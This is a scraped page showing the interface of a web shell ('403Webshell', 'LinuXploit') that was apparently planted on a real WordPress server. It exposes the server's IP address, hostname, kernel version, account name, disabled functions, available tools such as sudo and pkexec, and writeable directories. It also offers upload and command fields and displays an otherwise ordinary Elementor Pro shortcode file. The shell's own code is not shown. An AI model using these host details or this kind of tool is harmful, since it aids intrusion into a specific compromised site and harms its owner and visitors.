403Webshell
Server IP : 192.64.112.168  /  Your IP : 18.217.116.245
Web Server : Apache
System : Linux nc-ph-2300-85.bluforrest.com 4.18.0-513.9.1.el8_9.x86_64 #1 SMP Sat Dec 2 05:23:44 EST 2023 x86_64
User : expressoneac ( 1128)
PHP Version : 8.0.30
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/expressoneac/www/wp-content/plugins/elementor-pro/modules/library/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/expressoneac/www/wp-content/plugins/elementor-pro/modules/library/classes/shortcode.php
<?php
namespace ElementorPro\Modules\Library\Classes;

use Elementor\TemplateLibrary\Source_Local;
use ElementorPro\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Shortcode {

	const SHORTCODE = 'elementor-template';

	public function __construct() {
		$this->add_actions();
	}

	public function admin_columns_headers( $defaults ) {
		$defaults['shortcode'] = esc_html__( 'Shortcode', 'elementor-pro' );

		return $defaults;
	}

	public function admin_columns_content( $column_name, $post_id ) {
		if ( 'shortcode' !== $column_name ) {
			return;
		}

		printf(
			'<label class="screen-reader-text" for="%1$s">%2$s</label><input class="elementor-shortcode-input" type="text" id="%1$s" readonly onfocus="this.select()" value="%3$s" />',
			sprintf(
				/* translators: %s: Template ID. */
				esc_attr( 'elementor-templte-%s-shortcode' ),
				$post_id // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			),
			sprintf(
				/* translators: %s: Template ID. */
				esc_html__( 'Elementor template shortcode for template %s', 'elementor-pro' ),
				$post_id // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			),
			sprintf(
				/* translators: %s: Shortcode, %d: Template ID. */
				esc_attr( '[%s id="%d"]' ),
				self::SHORTCODE, // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
				$post_id // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			)
		);
	}

	public function shortcode( $attributes = [] ) {
		if ( empty( $attributes['id'] ) ) {
			return '';
		}

		$include_css = false;

		if ( isset( $attributes['css'] ) && 'false' !== $attributes['css'] ) {
			$include_css = (bool) $attributes['css'];
		}

		return Plugin::elementor()->frontend->get_builder_content_for_display( $attributes['id'], $include_css );
	}

	private function add_actions() {
		if ( is_admin() ) {
			add_action( 'manage_' . Source_Local::CPT . '_posts_columns', [ $this, 'admin_columns_headers' ] );
			add_action( 'manage_' . Source_Local::CPT . '_posts_custom_column', [ $this, 'admin_columns_content' ], 10, 2 );
		}

		add_shortcode( self::SHORTCODE, [ $this, 'shortcode' ] );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit